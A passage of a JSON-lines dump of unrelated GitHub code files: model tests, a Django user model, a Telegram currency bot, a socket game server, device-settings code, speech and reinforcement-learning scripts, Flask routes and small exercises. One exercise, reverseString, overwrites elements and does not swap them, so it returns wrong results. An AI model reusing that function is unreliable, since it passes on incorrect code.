192),\n ('CeiT-S', 224, 1000, 12, 6, 384),\n ('CeiT-B', 224, 1000, 12, 12, 768))\n def test_logits_shape(self,\n img_resolution,\n num_classes,\n num_layers,\n num_heads,\n embed_dim):\n\n model = CeiT(num_classes=num_classes,\n num_layers=num_layers,\n num_heads=num_heads,\n embed_dim=embed_dim)\n\n rng = dict(params=random.PRNGKey(0))\n x = jnp.ones((2, img_resolution, img_resolution, 3))\n logits, _ = model.init_with_output(rng, x, is_training=True)\n chex.assert_shape(logits, (2, num_classes))\n\n\nif __name__ == '__main__':\n absltest.main()\n","repo_name":"NZ99/self-attention-experiments-vision","sub_path":"models/ceit_test.py","file_name":"ceit_test.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"7"} +{"seq_id":"24956119053","text":"\"\"\"users/models.py\"\"\"\nfrom django.contrib.auth.models import AbstractUser\nfrom django.db import models\n\n\nclass CustomUser(AbstractUser):\n GROUP_CHOICES = (\n ('Sec 1', 'Sec 1'),\n ('Sec 2', 'Sec 2'),\n ('Sec 3', 'Sec 3'),\n ('Sec 4', 'Sec 4'),\n ('J1', 'J1'),\n ('J2', 'J2'),\n ('Public', 'Public'),\n ('Teacher', 'Teacher'),\n )\n \"\"\"username was changed to email\"\"\"\n first_name = models.CharField(blank=False, unique=False,\n max_length=150, verbose_name='first name')\n last_name = models.CharField(blank=False, unique=False,\n max_length=150, verbose_name='last name')\n username = models.CharField(max_length=30, unique=False)\n profile = models.CharField(\n blank=False,\n max_length=100,\n choices=GROUP_CHOICES,\n default='Public')\n\n def __str__(self):\n return self.first_name + ' ' + self.last_name\n","repo_name":"Swuanyee/stacks","sub_path":"users/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"6093365708","text":"import telebot\nfrom config import keys, TOKEN\nfrom extensions import Convertionexception, CryptoConverter\n\nbot = telebot.TeleBot(TOKEN)\n@bot.message_handler(commands=['start', 'help'])\ndef help(message: telebot.types.Message):\n text = 'Введите команду боту в формате:\\n<имя валюты, цену которой необходимо узнать> <имя валюты, в которой надо узнать цену первой валюты> \\\n<количество первой валюты> \\\n \\nСписок доступных валют:/values'\n bot.reply_to(message, text)\n@bot.message_handler(commands=['values'])\ndef values(message: telebot.types.Message):\n text = 'Доступные валюты:'\n for key in keys.keys():\n text = '\\n'.join((text, key, ))\n bot.reply_to(message, text)\n\n@bot.message_handler(content_types=['text', ])\ndef convert(message: telebot.types.Message):\n try:\n values = message.text.split(' ')\n\n if len(values) != 3:\n raise Convertionexception('Введите три параметра.')\n quote, base, amound = values\n total_base = CryptoConverter.get_price(quote, base, amound)\n except Convertionexception as e:\n bot.reply_to(message, f'Ошибка пользователя.\\n{e}')\n except Exception as e:\n bot.reply_to(message, f'Не удалось обработать команду.\\n{e}')\n else:\n text = f'Цена {amound} {quote} в {base} составляет {round((total_base)*(float(amound)), 2)}'\n bot.send_message(message.chat.id, text)\n\nbot.polling(none_stop=True)\n\n\n\n\n\n\n\n\n","repo_name":"alexandradaniloff/moneyconv","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"13752010820","text":"import socket \nfrom _thread import *\nimport pickle \nimport random\nserver = \"\"\nport = 5555 \ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\ntry: \n s.bind((server,port))\nexcept socket.error as e:\n str(e)\n\ns.listen(2)\nprint(\"Waiting for a connection, server started\")\n\nplayers = {}\ncolors = [(255,0,0),(0,255,0),(0,0,255),(23,47,75)]\n_id = 0\ndef threaded_client(conn, player):\n global players\n current_id = _id\n\n ###get nickname###\n data = conn.recv(16)\n name = data.decode('utf-8')\n print(\"[LOG]\", name, \"connected to the server.\")\n\n ### setup player's properties###\n color = colors[current_id]\n x, y = random.randint(50,100), random.randint(50,100)\n players[current_id] = {\"x\":x, \"y\":y, \"color\":color}\n\n ###reply to client###\n conn.send(str.encode(str(current_id)))\n\n while True:\n try:\n data = conn.recv(32)\n if not data:\n break\n\n data = data.decode(\"utf-8\")\n\n ##update players moves list\n if data.split(\" \")[0] == \"move\":\n split_data = data.split(\" \")\n x = int(split_data[1])\n y = int(split_data[2])\n players[current_id][\"x\"] = x\n players[current_id][\"y\"] = y\n\n send_data = pickle.dumps((players))\n\n ###just send back players list\n else:\n send_data = pickle.dumps((players))\n \n conn.send(send_data)\n\n except Exception as e:\n print(e)\n\n del players[current_id]\n conn.close()\n\nwhile True:\n conn, addr = s.accept()\n print(\"Connected to: \", addr)\n\n start_new_thread(threaded_client, (conn, _id))\n _id += 1","repo_name":"Adrian-Montemayor/multiplayer","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"27937534765","text":"import logging\nfrom functools import partial\nfrom typing import List\n\nfrom neotools.applet.constants import *\nfrom neotools.message import Message, MessageConst, send_message, receive_message\nfrom neotools.util import calculate_data_checksum, NeotoolsError, data_from_buf, data_to_buf, int_from_buf, \\\n int_to_buf, string_to_buf, string_from_buf\n\nlogger = logging.getLogger(__name__)\n\n\nclass AppletSettings:\n def __init__(self, item_list):\n self.item_list = item_list\n self.labels = {}\n self.descriptions = {}\n self.settings = {}\n self.classify_data(item_list)\n\n def classify_data(self, item_list):\n for item in item_list:\n if item.type == AppletSettingsType.LABEL:\n self.labels[item.ident] = item\n elif item.type == AppletSettingsType.DESCRIPTION:\n self.descriptions[item.ident] = item\n else:\n self.settings[item.ident] = item\n\n def to_dict(self):\n result = []\n\n def label_for_ident(ident):\n label = self.labels.get(ident)\n text = label.data if label else 'Unknown'\n return f'{text} ({ident})'\n\n for item in self.settings.values():\n description = self.descriptions.get(item.ident)\n item_dict = {'label': label_for_ident(item.ident), 'ident': item.ident, 'type': item.type,\n 'value': item.data}\n if description:\n item_dict['description'] = description.data\n if item.type == AppletSettingsType.OPTION:\n item_dict['value'] = {\n 'selected': label_for_ident(item.data[0]),\n 'options': list(map(label_for_ident, item.data[1:]))\n }\n result.append(item_dict)\n result = sorted(result, key=lambda item_dict: item_dict.get('label'))\n return result\n\n def merge_settings(self, settings):\n self.labels.update(settings.labels)\n self.descriptions.update(settings.descriptions)\n self.settings.update(settings.settings)\n\n\nclass AppletSettingsItem:\n def __init__(self, item_type, ident, data):\n self.type = item_type\n self.ident = ident\n self.data = data\n\n def to_raw(self):\n data_len = 0\n buf = []\n\n write_data = None\n\n if self.type in [AppletSettingsType.LABEL, AppletSettingsType.DESCRIPTION]:\n # Can we update the labels???\n data_len = len(self.data) + 1\n write_data = partial(string_to_buf, buf, 6, len(self.data), self.data)\n elif self.type == AppletSettingsType.OPTION:\n data_len = len(self.data) * 2\n\n def write_option():\n for (i, val) in enumerate(self.data):\n int_to_buf(buf, 6 + i * 2, 2, val)\n\n write_data = write_option\n elif self.type == AppletSettingsType.RANGE_32:\n data_len = APPLET_SETTINGS_RANGE32_FORMAT['size']\n write_data = partial(data_to_buf, APPLET_SETTINGS_RANGE32_FORMAT, buf, self.data, buf_offset=6)\n elif self.type in [AppletSettingsType.FILE_PASSWORD, AppletSettingsType.PASSWORD_6]:\n data_len = 6\n write_data = partial(string_to_buf, buf, 6, 6, self.data)\n elif self.type == AppletSettingsType.APPLET_ID:\n data_len = 4\n write_data = partial(int_to_buf, buf, 6, 4, self.data)\n total_len = 6 + data_len + (data_len & 1)\n buf = [0] * total_len\n\n obj = self.__dict__\n obj['length'] = data_len\n obj['type'] = self.type.value\n data_to_buf(APPLET_SETTINGS_FORMAT, buf, obj)\n write_data()\n\n return buf\n\n @staticmethod\n def item_from_raw(item_obj, buf):\n data = None\n item_type = AppletSettingsType(item_obj['type'])\n del item_obj['type']\n item_obj['item_type'] = item_type\n\n if item_type == AppletSettingsType.RANGE_32:\n data = data_from_buf(APPLET_SETTINGS_RANGE32_FORMAT, buf[6:])\n elif item_type == AppletSettingsType.OPTION:\n data = []\n offset = 0\n while offset < item_obj['length']:\n data.append(int_from_buf(buf, 6 + offset, 2))\n offset = offset + 2\n elif item_type in [AppletSettingsType.PASSWORD_6, AppletSettingsType.DESCRIPTION,\n AppletSettingsType.FILE_PASSWORD, AppletSettingsType.LABEL]:\n data = string_from_buf(buf, 6, item_obj['length'])\n elif item_type == AppletSettingsType.APPLET_ID:\n data = int_from_buf(buf, 6, 4)\n del item_obj['length']\n return AppletSettingsItem(**item_obj, **{'data': data})\n\n def change_setting(self, values: List[str]):\n if self.type == AppletSettingsType.RANGE_32:\n assert len(values) == 3\n self.data = {\n 'default': int(values[0]),\n 'min': int(values[1]),\n 'max': int(values[2])\n }\n if self.type == AppletSettingsType.OPTION:\n assert len(values) == 1\n ident = int(values[0])\n if ident not in self.data:\n raise NeotoolsError('Identifier must be a member of %s' % self.data[1:])\n self.data[0] = ident\n elif self.type in [AppletSettingsType.PASSWORD_6, AppletSettingsType.FILE_PASSWORD]:\n assert len(values) == 1\n password = values[0]\n assert len(password) >= 6\n self.data = password\n elif self.type == AppletSettingsType.APPLET_ID:\n assert len(values) == 1\n applet_id = int(values[0])\n # The caller must check that the applet exists\n self.data = applet_id\n\n @staticmethod\n def list_from_raw(buf):\n offset = 0\n items = []\n while True:\n if len(buf) < offset + 6:\n # not even space for a single header\n break\n item_obj = data_from_buf(APPLET_SETTINGS_FORMAT, buf[offset:])\n length = item_obj['length']\n if item_obj['type'] == 0 and item_obj['ident'] == 0 and length == 0:\n break\n\n item_total_length = 6 + length + (length & 1) # Two byte alignment\n\n item = AppletSettingsItem.item_from_raw(item_obj, buf[offset:offset + item_total_length])\n items.append(item)\n offset = offset + item_total_length\n return items\n\n\ndef get_settings(device, applet_id, flags):\n device.dialogue_start()\n logger.info('Requesting settings for applet_id=%s, flags=%s', applet_id, flags)\n message = Message(MessageConst.REQUEST_GET_SETTINGS, [(flags, 1, 4), (applet_id, 5, 2)])\n response = send_message(device, message, MessageConst.RESPONSE_GET_SETTINGS)\n response_size = response.argument(1, 4)\n expected_checksum = response.argument(5, 2)\n logger.info('Retrieving settings data')\n result = device.read(response_size)\n assert calculate_data_checksum(result) == expected_checksum\n device.dialogue_end()\n settings_list = AppletSettingsItem.list_from_raw(result)\n return AppletSettings(settings_list)\n\n\ndef set_settings(device, applet_id, settings):\n settings_buf = settings.to_raw()\n checksum = calculate_data_checksum(settings_buf)\n device.dialogue_start()\n logger.info('Requesting to write settings for applet_id=%s', applet_id)\n message = Message(MessageConst.REQUEST_SET_SETTINGS,\n [(len(settings_buf), 1, 4), (checksum, 5, 2)])\n send_message(device, message, MessageConst.RESPONSE_BLOCK_WRITE)\n logger.info('Writing settings')\n device.write(settings_buf)\n receive_message(device, MessageConst.RESPONSE_BLOCK_WRITE_DONE)\n\n message = Message(MessageConst.REQUEST_SET_APPLET, [(0, 1, 4), (applet_id, 5, 2)])\n send_message(device, message, MessageConst.RESPONSE_SET_APPLET)\n device.dialogue_end()\n","repo_name":"lykahb/neotools","sub_path":"neotools/applet/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":7924,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"7"} +{"seq_id":"70458043104","text":"# encoding:utf-8\r\n\"\"\"\r\n@author = Dcm\r\n@create_time = 2019/1/9 16:59\r\n\"\"\"\r\n\"\"\"\r\n利用Surprise包提供的推荐算法进行推荐\r\n\"\"\"\r\nfrom surprise import SVD\r\nfrom surprise import Dataset\r\nfrom surprise import evaluate, print_perf\r\n\r\n# 默认载入movielens数据集\r\ndata = Dataset.load_builtin('ml-100k')\r\n# k折交叉验证(k=3)\r\ndata.split(n_folds=3)\r\n# 试一把SVD矩阵分解\r\nalgo = SVD()\r\n# 在数据集上测试一下效果\r\nperf = evaluate(algo, data, measures=['RMSE', 'MAE'])\r\n# 输出结果\r\n# print_perf(perf)\r\n\r\n\"\"\"\r\n在协同过滤算法建模以后,根据一个item取回相似度最高的item,主要是用到algo.get_neighbors()这个函数\r\n\"\"\"\r\nimport os\r\nimport io\r\nfrom surprise import KNNBaseline\r\nfrom surprise import Dataset\r\n\r\ndef read_item_names():\r\n \"\"\"\r\n 获取电影名到电影id 和 电影id到电影名的映射\r\n \"\"\"\r\n file_name = (os.path.expanduser('~') +\r\n '/.surprise_data/ml-100k/ml-100k/u.item')\r\n rid_to_name = {}\r\n name_to_rid = {}\r\n with io.open(file_name, 'r', encoding='ISO-8859-1') as f:\r\n for line in f:\r\n line = line.split('|')\r\n rid_to_name[line[0]] = line[1]\r\n name_to_rid[line[1]] = line[0]\r\n\r\n return rid_to_name, name_to_rid\r\n\r\n# 计算相互间的相似度\r\ndata = Dataset.load_builtin('ml-100k') # 数据\r\ntrainset = data.build_full_trainset() # 训练集\r\nsim_options = {'name': 'pearson_baseline', 'user_based': False}\r\nalgo = KNNBaseline(sim_options=sim_options)\r\nalgo.train(trainset)\r\n# 获取电影名到电影id 和 电影id到电影名的映射\r\nrid_to_name, name_to_rid = read_item_names()\r\n# 拿出来Toy Story这部电影对应的item id\r\n# name -> rawid -> inner_id\r\ntoy_story_raw_id = name_to_rid['Toy Story (1995)']\r\ntoy_story_inner_id = algo.trainset.to_inner_iid(toy_story_raw_id)\r\n# 找到最近的10个邻居\r\ntoy_story_neighbors = algo.get_neighbors(toy_story_inner_id, k=10)\r\n# 从近邻的id映射回��影名称\r\ntoy_story_neighbors = (algo.trainset.to_raw_iid(inner_id) for inner_id in toy_story_neighbors)\r\ntoy_story_neighbors = (rid_to_name[rid] for rid in toy_story_neighbors)\r\n# 输出\r\nprint('The 10 nearest neighbors of Toy Story are:')\r\nfor movie in toy_story_neighbors:\r\n print(movie)\r\n","repo_name":"yibitongguan/machine_learning","sub_path":"recomendation_system/surprise_demo.py","file_name":"surprise_demo.py","file_ext":"py","file_size_in_byte":2264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"5065965786","text":"import subprocess\nimport time\nimport random as rnd\n\ndef control_sg(setup_file, on_file, off_file, duty_cycle=0.05, executable=\"sg_sequence\"):\n\n #args = (\"bin/bar\", \"-c\", \"somefile.xml\", \"-d\", \"text.txt\", \"-r\", \"aString\", \"-f\", \"anotherString\")\n rnd.seed()\n sg_ip = \"134.117.62.53\"\n setup_command = \":RAD:AWGN:ARB:STAT 1\"\n on_command = \"OUTP:STAT 1\"\n off_command = \"OUTP:STAT 0\"\n #on_time = duty_cycle\n\n #setup_args = (\"../{0} {1} {2}\".format(executable, sg_ip, setup_file)).split()\n setup_args = (\"../{0} {1} {2}\".format(executable, sg_ip, setup_command)).split()\n popen = subprocess.Popen(setup_args, stdout=subprocess.PIPE)\n #print(\"Will now wait for setup_args sequence\\n\")\n popen.wait()\n\n while(True):\n #print(\"inside while loop\\n\")\n #on_time = rnd.uniform(0.02, 5)\n on_time = rnd.expovariate(0.5)\n off_time = 1 - duty_cycle\n #on_args = (\"../{0} {1} {2}\".format(executable, sg_ip, on_file))\n on_args = (\"../{0} {1} {2}\".format(executable, sg_ip, on_command))\n on_args_split = on_args.split()\n #off_args = (\"../{0} {1} {2}\".format(executable, sg_ip, off_file))\n off_args = (\"../{0} {1} {2}\".format(executable, sg_ip, off_command))\n off_args_split = off_args.split()\n popen = subprocess.Popen(on_args_split, stdout=subprocess.PIPE)\n popen.wait()\n print(on_args)\n\n time.sleep(on_time)\n popen = subprocess.Popen(off_args_split, stdout=subprocess.PIPE)\n popen.wait()\n #print(popen.stdout.read())\n print(off_args)\n time.sleep(off_time)\n\n\n #output = popen.stdout.read()\n #print(output)\n\nif __name__ == '__main__':\n control_sg(\"test/control_sequences/awgn_setup.txt\", \"test/control_sequences/awgn_on.txt\", \"test/control_sequences/awgn_off.txt\", executable=\"ks_lanio\")\n","repo_name":"threexc/SGControl","sub_path":"python/control_sg.py","file_name":"control_sg.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"39139795124","text":"from flask import render_template, flash, redirect, url_for, request\nfrom flask_login import current_user, login_user, logout_user, login_required\nfrom jinja2 import Markup, escape\nfrom werkzeug.urls import url_parse\nfrom app.models import User, Movies\nfrom . import app, db\nfrom .forms import LoginForm, RegistrationForm, SearchForm\nimport re\n\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n if current_user.is_authenticated:\n return redirect(url_for('index'))\n form = LoginForm()\n if form.validate_on_submit():\n user = User.query.filter_by(username=form.username.data).first()\n if user is None or not user.check_password(form.password.data):\n flash('invalid user or password')\n return redirect(url_for('login'))\n login_user(user, remember=form.remember_me.data)\n next_page = request.args.get('next')\n if not next_page or url_parse(next_page).netloc != '':\n next_page = url_for('index')\n return redirect(next_page)\n return render_template('login.html', form=form)\n\n\n@app.route('/logout')\ndef logout():\n logout_user()\n return redirect(url_for('index'))\n\n\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n if current_user.is_authenticated:\n return redirect(url_for('index'))\n form = RegistrationForm()\n if form.validate_on_submit():\n user = User(username=form.username.data, email=form.email.data)\n user.set_password(form.password.data)\n db.session.add(user)\n db.session.commit()\n flash('Congratulations, you are now a registered user!')\n return redirect(url_for('login'))\n return render_template('register.html', title='Register', form=form)\n\n\n@app.route('/search')\n@login_required\ndef search():\n form = SearchForm()\n if not form.validate():\n return render_template('search.html', form=form)\n\n query = request.args.get('q')\n page = request.args.get('page', 1, int)\n per_page = request.args.get('per_page', 5, int)\n\n movies, total = Movies.search(query, page, per_page)\n next_url = url_for('search', page=page + 1, q=query) if page * per_page < total else None\n prev_url = url_for('search', page=page - 1, q=query) if page > 1 else None\n return render_template('results.html', movies=movies, next_url=next_url, prev_url=prev_url)\n\ndef mark(value):\n # fetch the search term\n q = request.args.get('q')\n regx = re.compile(r\"(\"+ q + \")\", flags=re.IGNORECASE)\n esc_val = escape(value)\n # replace search term w/ mark tags\n result = re.sub(regx, r'\\1', str(esc_val))\n # Make sure the html tags are not escaped\n return Markup(result)\n# register the filter w/ the jinja environment\napp.jinja_env.filters['mark'] = mark","repo_name":"dltacube/enerknol","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":2841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"1106955748","text":"#%%\nimport gym\n\nenv = gym.make('Blackjack-v1')\nstate = env.reset()\naction = 1\nenv.step(action)\n\n# env.action_space\n\n\nenv = gym.make('Blackjack-v1', render_mode = 'human')\nstate = env.reset()[0]\n\nepisode = []\n\nnum_timesteps = 20\n\nfor i in range(num_timesteps):\n random_action = env.action_space.sample()\n new_state, reward, done, _, _ = env.step(random_action)\n episode.append((state, action, reward))\n \n if done:\n break\n \n state = new_state\n\nprint(episode)\n\n\n#%%\nimport gym\nimport pandas as pd\nimport random\nfrom collections import defaultdict\n\nenv = gym.make('Blackjack-v1', render_mode = 'human')\nQ = defaultdict(float)\ntotal_return = defaultdict(float)\nN = defaultdict(int)\n\ndef epsilon_greedy(state, Q):\n epsilon = 0.2\n \n if random.uniform(0, 1) < epsilon:\n return env.action_space.sample()\n else:\n return max(list(range(env.action_space.n)), key = lambda x: Q[(state, x)])\n\nnum_timesteps = 50\n\ndef generate_epsiode(Q):\n episode = []\n state = env.reset()[0]\n \n for t in range(num_timesteps):\n action = epsilon_greedy(state, Q)\n next_state, reward, done, _, _ = env.step(action)\n episode.append((state, action, reward))\n \n if done:\n break\n \n state = next_state\n \n return episode\n\nnum_episodes = 50000\nfor i in range(num_episodes):\n episode = generate_epsiode(Q)\n all_state_action_pairs = [(s, a) for (s, a, r) in episode]\n rewards = [r for (s, a, r) in episode]\n \n for t, (state, action, _) in enumerate(episode):\n if not (state, action) in all_state_action_pairs[:t]:\n G = sum(rewards[t:])\n total_return[(state, action)] = total_return[(state, action)] + G\n N[(state, action)] += 1\n Q[(state, action)] = total_return[(state, action)]/N[(state, action)]\n\n\ndf = pd.DataFrame(Q.items(), columns = ['state_action_pair', 'Q_value'])\ndf.head(10)\n","repo_name":"ok69531/reinforce","sub_path":"blackjack.py","file_name":"blackjack.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"14281182329","text":"\r\n\r\n\r\nfile1= \"db_breakfast_menu.txt\"\r\nfile2= \"db_lunch_menu.txt\"\r\nfile3= \"db_dinner_menu.txt\"\r\nfile4 = \"db_label_text.txt\"\r\n\r\nretail = []\r\ntitle = []\r\nlabel = []\r\n\r\nwith open(file1, \"r\") as f:\r\n data = f.readlines()\r\n\r\n\r\nfor line in data:\r\n w = line.split(\":\")\r\n title.append(w[1])\r\n\r\n\r\nfor line in data:\r\n w = line.split(\"$\")\r\n price = w[1]\r\n price.rstrip('\\n')\r\n conv = float(price)\r\n retail.append(conv)\r\n\r\nf.close()\r\n\r\nwith open (file4, \"r\") as f:\r\n data = f.readlines()\r\n\r\nfor line in data:\r\n i = 1\r\n w = line.split(\":\")\r\n string1 = w[i]\r\n i+=1\r\n string2 = w[i]\r\n string = (\"%s\\n%s\" %(string1,string2))\r\n label.append(string)\r\n\r\n\r\nf.close()\r\n","repo_name":"ISProject1/POS","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"21776504087","text":"from typing import Optional, TypeAlias, Union\nimport click\nimport sys\nfrom dataclasses import dataclass\nfrom enum import Enum, auto\nfrom statistics import median_low\n\n\n@click.group()\ndef main(): pass\n\n\nclass DelimType(Enum):\n Parenthesis = auto()\n SquareBracket = auto()\n CurlyBracket = auto()\n AngleBracket = auto()\n\n\nclass DelimDirection(Enum):\n Open = auto()\n Close = auto()\n\n\n@dataclass(frozen=True)\nclass Delim:\n t: DelimType\n d: DelimDirection\n\n\nDELIM_LOOKUP_TABLE = {\n \"(\": Delim(t=DelimType.Parenthesis, d=DelimDirection.Open),\n \"[\": Delim(t=DelimType.SquareBracket, d=DelimDirection.Open),\n \"{\": Delim(t=DelimType.CurlyBracket, d=DelimDirection.Open),\n \"<\": Delim(t=DelimType.AngleBracket, d=DelimDirection.Open),\n \")\": Delim(t=DelimType.Parenthesis, d=DelimDirection.Close),\n \"]\": Delim(t=DelimType.SquareBracket, d=DelimDirection.Close),\n \"}\": Delim(t=DelimType.CurlyBracket, d=DelimDirection.Close),\n \">\": Delim(t=DelimType.AngleBracket, d=DelimDirection.Close),\n}\n\n\nILLEGAL_DELIM_POINTS: dict[DelimType, int] = {\n DelimType.Parenthesis: 3,\n DelimType.SquareBracket: 57,\n DelimType.CurlyBracket: 1197,\n DelimType.AngleBracket: 25137\n}\n\nAUTOCOMPLETE_DELIM_POINTS: dict[DelimType, int] = {\n DelimType.Parenthesis: 1,\n DelimType.SquareBracket: 2,\n DelimType.CurlyBracket: 3,\n DelimType.AngleBracket: 4\n}\n\n\n@dataclass\nclass Corrupted:\n illegal_delim_type: DelimType\n\n\n@dataclass\nclass Incomplete:\n chunk_stack: list[DelimType]\n\n\nclass Valid:\n pass\n\n\nParseResult: TypeAlias = Union[Corrupted, Incomplete, Valid]\n\n\ndef parse_line(s: str) -> ParseResult:\n chunk_stack: list[DelimType] = []\n\n for c in s:\n delim = DELIM_LOOKUP_TABLE[c]\n if delim.d == DelimDirection.Open:\n chunk_stack.append(delim.t)\n elif delim.d == DelimDirection.Close:\n last_chunk_t = chunk_stack.pop() if len(chunk_stack) > 0 else None\n if delim.t != last_chunk_t:\n return Corrupted(illegal_delim_type=delim.t)\n else:\n raise ValueError\n\n if len(chunk_stack) > 0:\n return Incomplete(chunk_stack=chunk_stack)\n\n return Valid()\n\n\ndef syntax_error_score(s: str) -> Optional[int]:\n parse_result = parse_line(s)\n if not isinstance(parse_result, Corrupted):\n return None\n\n return ILLEGAL_DELIM_POINTS[parse_result.illegal_delim_type]\n\n\n@main.command()\ndef part1():\n print(sum(filter(lambda x: x is not None,\n (syntax_error_score(line.rstrip()) for line in sys.stdin))))\n\n\ndef autocomplete_score(s: str) -> Optional[int]:\n parse_result = parse_line(s)\n if not isinstance(parse_result, Incomplete):\n return None\n\n total = 0\n for delim_type in reversed(parse_result.chunk_stack):\n total *= 5\n total += AUTOCOMPLETE_DELIM_POINTS[delim_type]\n\n return total\n\n\n@main.command()\ndef part2():\n print(median_low(filter(lambda x: x is not None,\n (autocomplete_score(line.rstrip()) for line in sys.stdin))))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"dsimon96/AdventOfCode2021","sub_path":"src/day10.py","file_name":"day10.py","file_ext":"py","file_size_in_byte":3066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"12769098205","text":"def reverseString(s):\n length = len(s)\n left, right = 0, len(s)-1\n while left < right:\n s[left] = s[right]\n left +=1\n right -=1\n return s\n\n'''\ndef reverseString(s):\n for i in range(len(s)//2):\n s[i],s[-i-1] = s[-i-1],s[i]\n'''\n#know the structure, but if we want to get the index, first step is to define len(s)\ns = reverseString([\"h\",\"e\",\"l\",\"l\",\"0\"])\nprint(s)","repo_name":"pingting420/LeetCode_Algorithms","sub_path":"String/LC344. Reverse String.py","file_name":"LC344. Reverse String.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"31586057238","text":"#!/usr/bin/env python3\n# coding: utf-8\n\nimport os\nimport sys\nfrom collections import Counter\n\n\ndef most_common(path, number=20):\n words = []\n with open(path) as f:\n for line in f:\n words.extend(line.split())\n\n yield from Counter(words).most_common(number)\n\n\ndef main():\n args = sys.argv[1:]\n if args:\n path = args[0]\n for word, freq in most_common(path):\n print(\"{}: {}\".format(word, freq))\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","repo_name":"mb85/Python-2015","sub_path":"2015-08-14/solutions/exercise_07.py","file_name":"exercise_07.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71570460063","text":"import pytest\nfrom flask import url_for\n\n\n@pytest.mark.parametrize(\n \"query_args, result\", [\n ({}, True),\n ({'govau_banner': 'false'}, 'false')\n ]\n)\ndef test_renders(client, mocker, query_args, result):\n\n mock_convert_to_boolean = mocker.patch('app.main.views.index.convert_to_boolean')\n mocker.patch('app.main.views.index.HTMLEmailTemplate.__str__', return_value='rendered')\n\n response = client.get(url_for('main.email_template', **query_args))\n\n assert response.status_code == 200\n assert response.get_data(as_text=True) == 'rendered'\n mock_convert_to_boolean.assert_called_once_with(result)\n","repo_name":"govau/notify","sub_path":"admin/tests/app/main/views/test_email_preview.py","file_name":"test_email_preview.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"7"} +{"seq_id":"73087012063","text":"# LPCC based Transfer Learning\n\nimport os\n\nfrom sklearn.model_selection import train_test_split\n\nfrom model_lpcc import *\nfrom utils import *\n\nn_lpcc = 49 # '(n_lpcc + 1)' must be divisible by 5.\nwindow_size = 10\naudio_len = 600\ndata_dir = os.path.join('..', 'audio-train-new')\nlpcc_shape = (10, (n_lpcc + 1) / 5, 1)\nn_samples = 120\n\ndef main():\n # Generate LPCC features and save them on the disk.\n print(\"Running preprocess..\")\n run_preprocess_lpcc(data_dir, str(audio_len), str(window_size), n_lpcc)\n\n # Load saved LPCC coefficients from npy files\n print(\"Loading LPCC data..\")\n X, y = load_features_lpcc(data_dir, str(audio_len), str(window_size), n_lpcc)\n\n # Reshape and one hot encode the data\n X = X.reshape(X.shape[0], 10, -1, 1)\n y_norm = one_hot_encode(y)\n\n # Split the samples and training and testing sets\n X_train, X_test, y_train, y_test = train_test_split(X, y_norm, test_size=0.3, random_state=64)\n\n # Build the CNN\n print(\"Building the model..\")\n model = build_model_lpcc(lpcc_shape, n_lpcc + 1, n_samples)\n\n # Train the model.\n train_result = model.fit(np.array(X_train), y_train,\n batch_size=16,\n epochs=600,\n verbose=1,\n shuffle = True,\n validation_data=(np.array(X_test), y_test))\n\n # Save the trained model weights\n model.save_weights(os.path.join('..', 'neural-net-weights', \\\n 'lpcc_model_weights_' + str(n_lpcc) + '_' + \\\n str(audio_len) + '_' + str(window_size) + '.h5'))\n\n print(\"Successfully completed.\")\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"ashok-gowda/SpeakerRecognition","sub_path":"model/train_lpcc.py","file_name":"train_lpcc.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"7"} +{"seq_id":"43613335068","text":"from math import exp\nfrom math import log, e\nimport numpy as np\n\nMEAN_SQUARED_ERROR = 'mean_squared_error'\nCROSS_ENTROPY_LOSS = 'cross_entropy_loss'\n\nerrorfunctions = {}\nerrorfunctionsderivates = {}\n\n\ndef meansquarederror(target, x):\n return pow((target-x),2)\n\ndef meansquarederror_derivate(target,x):\n return 2*(x-target)\n\ndef old_cross_entropy_loss(target, x):\n n = len(target)\n cum = 0\n for i in range(n):\n cum += (target[i]*log(x[i]))+((1-target[i])*log(1-x[i]))\n cel = (-1/n)*cum\n return cel\n\ndef old_cross_entropy_loss_derivate(target, x):\n target = np.array(target)\n x = np.array(x)\n celd = (target / x) + ((1-target)/(1-x))\n 